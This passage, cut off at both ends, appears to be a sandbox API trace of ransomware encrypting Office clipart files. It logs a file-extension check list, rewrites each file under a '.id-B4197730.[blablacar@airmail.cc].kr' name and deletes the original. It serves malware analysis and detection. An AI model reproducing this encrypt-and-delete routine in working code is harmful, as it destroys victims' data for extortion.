Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.686] GetLastError () returned 0x0 [0194.686] ReadFile (in: hFile=0x3ec, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xc38, lpOverlapped=0x0) returned 1 [0194.688] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xc40, lpOverlapped=0x0) returned 1 [0194.689] ReadFile (in: hFile=0x3ec, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0194.689] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0194.689] SetEndOfFile (hFile=0x370) returned 1 [0194.689] CloseHandle (hObject=0x370) returned 1 [0194.689] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0194.689] SetEndOfFile (hFile=0x3ec) returned 1 [0194.903] CloseHandle (hObject=0x3ec) returned 1 [0194.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0195.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0195.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0195.144] lstrlenW (lpString=".doc") returned 4 [0195.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.144] lstrlenW (lpString=".docx") returned 5 [0195.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.144] lstrlenW (lpString=".pdf") returned 4 [0195.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.144] lstrlenW (lpString=".xls") returned 4 [0195.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.144] lstrlenW (lpString=".xlsx") returned 5 [0195.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.144] lstrlenW (lpString=".ppt") returned 4 [0195.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0195.144] lstrlenW (lpString=".zip") returned 4 [0195.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.144] lstrlenW (lpString=".rar") returned 4 [0195.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.144] lstrlenW (lpString=".bz2") returned 4 [0195.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.145] lstrlenW (lpString=".7z") returned 3 [0195.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0195.145] lstrlenW (lpString=".dbf") returned 4 [0195.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0195.145] lstrlenW (lpString=".1cd") returned 4 [0195.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0195.145] lstrlenW (lpString=".jpg") returned 4 [0195.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0195.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0195.276] lstrlenW (lpString=".doc") returned 4 [0195.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.276] lstrlenW (lpString=".docx") returned 5 [0195.276] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.276] lstrlenW (lpString=".pdf") returned 4 [0195.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.277] lstrlenW (lpString=".xls") returned 4 [0195.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.277] lstrlenW (lpString=".xlsx") returned 5 [0195.277] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.277] lstrlenW (lpString=".ppt") returned 4 [0195.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0195.277] lstrlenW (lpString=".zip") returned 4 [0195.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.277] lstrlenW (lpString=".rar") returned 4 [0195.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.277] lstrlenW (lpString=".bz2") returned 4 [0195.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.277] lstrlenW (lpString=".7z") returned 3 [0195.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0195.277] lstrlenW (lpString=".dbf") returned 4 [0195.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0195.277] lstrlenW (lpString=".1cd") returned 4 [0195.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68 [0195.277] lstrlenW (lpString=".jpg") returned 4 [0195.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.278] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0195.278] lstrlenW (lpString="HH00443_.WMF") returned 12 [0195.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0195.279] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=3298) returned 1 [0195.279] CloseHandle (hObject=0x38c) returned 1 [0195.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x220 [0195.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0195.280] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.280] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0195.281] GetLastError () returned 0x0 [0195.281] ReadFile (in: hFile=0x38c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xce2, lpOverlapped=0x0) returned 1 [0195.291] WriteFile (in: hFile=0x544, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xcf0, lpOverlapped=0x0) returned 1 [0195.292] ReadFile (in: hFile=0x38c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.292] WriteFile (in: hFile=0x544, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0195.292] SetEndOfFile (hFile=0x544) returned 1 [0195.292] CloseHandle (hObject=0x544) returned 1 [0195.292] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.292] SetEndOfFile (hFile=0x38c) returned 1 [0195.298] CloseHandle (hObject=0x38c) returned 1 [0195.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0195.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0195.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0195.299] lstrlenW (lpString=".doc") returned 4 [0195.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.299] lstrlenW (lpString=".docx") returned 5 [0195.299] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.300] lstrlenW (lpString=".pdf") returned 4 [0195.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.300] lstrlenW (lpString=".xls") returned 4 [0195.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.300] lstrlenW (lpString=".xlsx") returned 5 [0195.300] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.300] lstrlenW (lpString=".ppt") returned 4 [0195.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0195.300] lstrlenW (lpString=".zip") returned 4 [0195.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.300] lstrlenW (lpString=".rar") returned 4 [0195.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.300] lstrlenW (lpString=".bz2") returned 4 [0195.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.300] lstrlenW (lpString=".7z") returned 3 [0195.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0195.300] lstrlenW (lpString=".dbf") returned 4 [0195.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0195.300] lstrlenW (lpString=".1cd") returned 4 [0195.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0195.300] lstrlenW (lpString=".jpg") returned 4 [0195.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0195.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0195.300] lstrlenW (lpString=".doc") returned 4 [0195.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.301] lstrlenW (lpString=".docx") returned 5 [0195.301] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.301] lstrlenW (lpString=".pdf") returned 4 [0195.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.301] lstrlenW (lpString=".xls") returned 4 [0195.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.301] lstrlenW (lpString=".xlsx") returned 5 [0195.301] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.301] lstrlenW (lpString=".ppt") returned 4 [0195.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0195.301] lstrlenW (lpString=".zip") returned 4 [0195.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.301] lstrlenW (lpString=".rar") returned 4 [0195.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.301] lstrlenW (lpString=".bz2") returned 4 [0195.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.301] lstrlenW (lpString=".7z") returned 3 [0195.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0195.301] lstrlenW (lpString=".dbf") returned 4 [0195.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0195.301] lstrlenW (lpString=".1cd") returned 4 [0195.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0195.301] lstrlenW (lpString=".jpg") returned 4 [0195.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.302] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0195.302] lstrlenW (lpString="HH00513_.WMF") returned 12 [0195.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0195.303] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=818) returned 1 [0195.303] CloseHandle (hObject=0x38c) returned 1 [0195.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x220 [0195.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0195.304] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.304] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0195.304] GetLastError () returned 0x0 [0195.304] ReadFile (in: hFile=0x38c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x332, lpOverlapped=0x0) returned 1 [0195.312] WriteFile (in: hFile=0x520, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x340, lpOverlapped=0x0) returned 1 [0195.314] ReadFile (in: hFile=0x38c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.314] WriteFile (in: hFile=0x520, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0195.314] SetEndOfFile (hFile=0x520) returned 1 [0195.315] CloseHandle (hObject=0x520) returned 1 [0195.315] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.315] SetEndOfFile (hFile=0x38c) returned 1 [0195.318] CloseHandle (hObject=0x38c) returned 1 [0195.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0195.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0195.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0195.320] lstrlenW (lpString=".doc") returned 4 [0195.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.320] lstrlenW (lpString=".docx") returned 5 [0195.320] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.320] lstrlenW (lpString=".pdf") returned 4 [0195.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.320] lstrlenW (lpString=".xls") returned 4 [0195.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.320] lstrlenW (lpString=".xlsx") returned 5 [0195.320] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.320] lstrlenW (lpString=".ppt") returned 4 [0195.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0195.320] lstrlenW (lpString=".zip") returned 4 [0195.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.320] lstrlenW (lpString=".rar") returned 4 [0195.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.320] lstrlenW (lpString=".bz2") returned 4 [0195.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.320] lstrlenW (lpString=".7z") returned 3 [0195.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0195.320] lstrlenW (lpString=".dbf") returned 4 [0195.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0195.321] lstrlenW (lpString=".1cd") returned 4 [0195.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0195.321] lstrlenW (lpString=".jpg") returned 4 [0195.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0195.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0195.321] lstrlenW (lpString=".doc") returned 4 [0195.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.321] lstrlenW (lpString=".docx") returned 5 [0195.321] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.321] lstrlenW (lpString=".pdf") returned 4 [0195.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.321] lstrlenW (lpString=".xls") returned 4 [0195.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.321] lstrlenW (lpString=".xlsx") returned 5 [0195.321] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.321] lstrlenW (lpString=".ppt") returned 4 [0195.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0195.321] lstrlenW (lpString=".zip") returned 4 [0195.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.321] lstrlenW (lpString=".rar") returned 4 [0195.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.321] lstrlenW (lpString=".bz2") returned 4 [0195.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.321] lstrlenW (lpString=".7z") returned 3 [0195.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0195.322] lstrlenW (lpString=".dbf") returned 4 [0195.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0195.322] lstrlenW (lpString=".1cd") returned 4 [0195.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0195.322] lstrlenW (lpString=".jpg") returned 4 [0195.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.322] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0195.322] lstrlenW (lpString="HH00524_.WMF") returned 12 [0195.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0195.323] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=14688) returned 1 [0195.323] CloseHandle (hObject=0x38c) returned 1 [0195.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x220 [0195.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0195.323] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.324] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0195.324] GetLastError () returned 0x0 [0195.324] ReadFile (in: 